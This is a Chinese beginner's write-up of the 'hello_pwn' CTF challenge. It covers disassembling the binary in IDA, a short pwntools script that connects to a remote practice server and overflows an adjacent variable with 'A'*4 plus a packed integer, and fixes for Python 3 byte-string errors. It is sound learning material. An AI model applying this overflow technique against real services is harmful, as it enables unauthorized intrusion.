hello_pwn ---wp(新手菜鸟的自我反思)

终于入坑了pwn,发现最简单的签到题都学不会,出现bug太多,比着大佬的方法做了,老是会出现问题,下面作为做这道题目中出现问题的自我反思:

    首先是点开题目(附件是64位滴,怎么知道他是多少位的,可以先用比如32位的IDA打开,界面上就会显示他是多少位的,然后关掉选择相应的位的exe文件运行),下载附件,这个文件是要拖到IDA中进行反汇编的,关于IDA的使用方法我目前还是小白,只会傻瓜式拖拽,点击一通后,按F5出现C语言形式的代码:

根据大佬们的操作过程,终于理解了,flag一般存在于if这样的条件语句中,因此我们的目的就是使程序进入到if里的代码,sub_400686()这里面应该就存有flag

下面就是满足if的条件:

双击dword_60106c 和 0x10nLL后,发现两个虚拟地址相差为 106C - 1068 = 4个地址单位,看大佬的代码:

from pwn import*
r=remote("111.198.29.45",44362)
#r=process('./hellopwn')
payload=4*'A'+p64(1853186401)
r.recvuntil("bof")
r.sendline(payload)
r.interactive()

大佬们的代码都大同小异,大多都是定义的变量(比如这里的r)不同。

在哪里写python的脚本呢?

我是在ubuntu里,使用的vim编写的,在命令行界面,输入: vim exp.py 就可以创建python文件,并进入编辑界面。把大佬的代码敲上,按下ESC,退出编辑shift+: 在下端会出现冒号,输入wq(就是保存修改并推出的意思,q!是不保存直接退出)

然后输入: python3 exc.py   运行该脚本

注意:这里如果直接输 python exc.py 可能会出现错误

ImportError: No module named pwn
但是如果前面都没有问题,也可能会出现bug,比如这样:

 payload ='A'*4 + p64(1853186401)
TypeError: can only concatenate str (not "bytes") to str

经过一番尝试和找资料后,终于解决:

再次进入python脚本代码,将出现错误的语句进行如下修改:

payload =b'A'*4 + p64(1853186401)

加一个b以后就可以不再出现错误了(我可真棒,哈哈)

 

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值